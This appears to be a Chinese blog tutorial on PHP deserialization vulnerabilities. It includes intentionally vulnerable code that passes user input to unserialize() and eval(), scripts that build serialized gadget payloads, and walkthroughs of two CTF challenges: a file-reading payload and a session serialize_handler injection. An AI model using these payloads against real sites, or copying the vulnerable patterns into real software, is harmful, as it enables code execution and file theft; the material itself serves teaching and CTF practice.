php反序列化 先知社区,PHP反序列化的一些例子

之前web一直被PHP反序列化的一些问题困扰,现在痛定思痛,决定好好的总结一番(大佬请略过)

一般反序列化能用的例子都是利用了PHP中的一些可以自动调用的特殊函数,类似于C++中的构造函数之类的,不需要其他函数调用即可自动运行。通常称这些函数为魔幻函数,常用的魔幻函数包括construct(),destruct(), sleep(),wakeup(), toString().

首先我们以construct()为例,测试一下其自动执行情况。

class example

{

var $xxx='hahahaha';

function __construct(){

echo($this->xxx);

}

}

$test=new example();

echo serialize($test);

?>

9d13990b960b2191efc8dd81edbd85df.png

我们在函数中定义了一个example类,然后用new新建了一个example对象,在新建对象的时候,其中的魔幻函数__construct()自动执行,echo输出了$xxx的值,同时在代码的最后一段,我们调用了序列化函数,将test对象给序列化。

这里提一下,序列化函数和反序列化函数。所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。

不懂的朋友可以参考一下PHP手册

首先我们要确定一点,利用反序列化漏洞的有两个条件

1.unserialize()函数的参数可控

2.php中有可以利用的类并且类中有魔幻函数

接下来实验一下第一个比较有意思的例子。

test.php

class example

{

public $handle;

function __destruct(){

$this->funnnn();

}

function funnnn(){

$this->handle->close();

}

}

class process{

public $pid;

function close(){

eval($this->pid);

}

}

if(isset($_GET['data'])){

$user_data=unserialize($_GET['data']);

}

?>

在这个例子中,我们创建了一个example类一个process类,example类中有一个变量$handle,一个魔幻函数__destruct(),魔幻函数中调用了函数funnnn,然而根据funnnn中的函数显示,变量handle调用了prcocess类的方法,这说明handle变量是一个process类的实例对象。

再看代码,发现我们需要通过get方法输入的是一个data值,而且data值在传递进去之后,会先被反序列化一下,之前我们说过,序列化只会保存对象的所有变量,现在我们的目标就很明确了。

1.必须让handle变量是一个process类的实例化对象

2.由于process中的close()函数是eval执行语句,所以handle中的pid就可以是我们想要执行的语句,然后我写了一个shell.php,构造出了可以利用的handle,代码如下。

shell.php

class example

{

public $handle;

function __construct(){

$this->handle=new process();

}

}

class process{

public $pid;

function __construct(){

$this->pid='phpinfo();';

}

}

$test=new example();

echo serialize($test);

?>

执行这个代码,得到payload如下

092c19a904908612095636ebb78ad37c.png

首先解释一下这个payload,他表示这一串序列化中,有一个example对象,其中包含一个变量handle,handle又是一个process类的实例,其中包含一个pid变量,其值为phpinfo();然后我们将payload打入test.php查看效果发现执行成功,得到了phpinfo()的信息,如下图:

eeb45059fd4cded028b028a7f08c4048.png

这里我们将test.php中的destruct()改为wakeup()也可以,因为__wakeup函数是在反序列化是自动调用的函数,实验一下。

test1.php

class example

{

public $handle;

function __wakeup(){

$this->funnnn();

}

function funnnn(){

$this->handle->close();

}

}

class process{

public $pid;

function close(){

eval($this->pid);

}

}

if(isset($_GET['data'])){

$user_data=unserialize($_GET['data']);

}

?>

还是运行shell.php执行产生的payload,得到了预期结果。

8c811779c2fa92d4a4f61ee15239009f.png

这里以一道CTF题目为例子,加深一下印象。题目前一部分是利用php协议,最后取得flag需要用到php反序列化漏洞,这里我只说明一下反序列化的漏洞。

题目地址

我们最终得到的题目源php代码为

hint.php

class Flag{//flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "
";

return ("good");

}

}

}

?>

index.php

$txt = $_GET["txt"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))

{ echo "hello friend!
";

if(preg_match("/flag/",$file))

{

echo "不能现在就给你flag哦";

exit();

}

else{

include($file);

$password = unserialize($password);

echo $password; }

}

else{

echo "you are not the number of bugku ! "; }

?>

首先要注意:

1.password变量最初是一个序列化的,而且还应该是一个Flag类的实例

2.flag在flag.php里面

3.Flag类中有魔幻函数,index.php中unserialize函数参数可控

于是我们构造payload:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},反序列化之后,password是一个Flag类的实例,有一个file变量,内容为flag.php。当index.php对password执行echo操作时,会自动触发Flag类中的__tostring()函数,然后通过echo file_get_contents($this->file)输出flag.php里面的内容,最终结果如下:

e51b4f2a8133e34d988e13589741f8a6.png

PHP session反序列化

最开始接触session类型是有一次打CTF比赛的时候,jarvis oj上面的一道题目。题目链接

进来之后,发现题目给了一个php代码:

//A webshell is wait for you

ini_set('session.serialize_handler', 'php');

session_start();

class OowoO

{

public $mdzz;

function __construct()

{

$this->mdzz = 'phpinfo();';

}

function __destruct()

{

eval($this->mdzz);

}

}

if(isset($_GET['phpinfo']))

{

$m = new OowoO();

}

else

{

highlight_string(file_get_contents('index.php'));

}

?>

刚开始的看的时候,我也不太懂,但是根据提示,应该是PHP反序列化漏洞问题。google了一下ini_set('session.serialize_handler', 'php'),发现是PHPsession的序列化和反序列化问题,出题人应该是根据我找到的参考2的漏洞报告出的题,接下来我们分析这个题目。

php提供了 session.serialize_handler 配置选项,设置该选项可以选择序列化问题使用的处理器,常用的处理器有三种:

0438a219a2ce634c96394e29ef2e339d.png

然后我尝试查看了一下本题服务器的php版本,发现能够查看,而且发现其默认的session.serialize_handler为 php_serialize,这与本题中php代码第一行就设置的session.serialize_handler为php不符合。

9f3772694b93526feeda114064359446.png

我们先测试一下php和php_serialize的区别,测试代码

ini_set('session.serialize_handler','php_serialize');

//ini_set('session.serialize_handler','php');

session_start();

$_SESSION["test"]=$_GET["t"];

?>

输出的结果 php_serialize为t:1:{s:4:"test";s:4:"1111";} php的结果为test|s:4:"1111";

所以我们看到,如果我们的$_SESSION['ceshi']=''|O:8:"students":0:{}';' 那么当我们用php_serialize存储时候,他会是a:1:{s:5:"测试";s:20:"|O:8:"students":0:{}";} 然后当我们用php进行读取的时候,反序列化的结果会是

array(1) {

["a:1:{s:5:"ceshi";s:20:""]=>

object(students)#1 (0) {

}

}

我们通过|伪造对象的序列化数据,成功实例化了students对象。

对于本题,我们没有上传点,但是通过参考2,且查看本题的session.upload_progress.enabled为On

fb6aafc27a7217946bed57d6066894c9.png

所以我们需要构造一个html页面

test XXE

然后构造payload:

class OowoO

{

public $mdzz='print_r(scandir(dirname(__FILE__)));';

}

$test = new OowoO();

$x = serialize($test);

var_dump($x);

?>

得到payload:

6ee65c0021879f785bd6876283769614.png

然后通过修改的html抓包,改filename,先扫描一下目录

1246b8c656854f045dec32858ecf0f24.png

修改payload,得到flag,此题为php session反序列化漏洞的一个典型例子

49274a6f9e143d3d30f8a41563eb8aa8.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值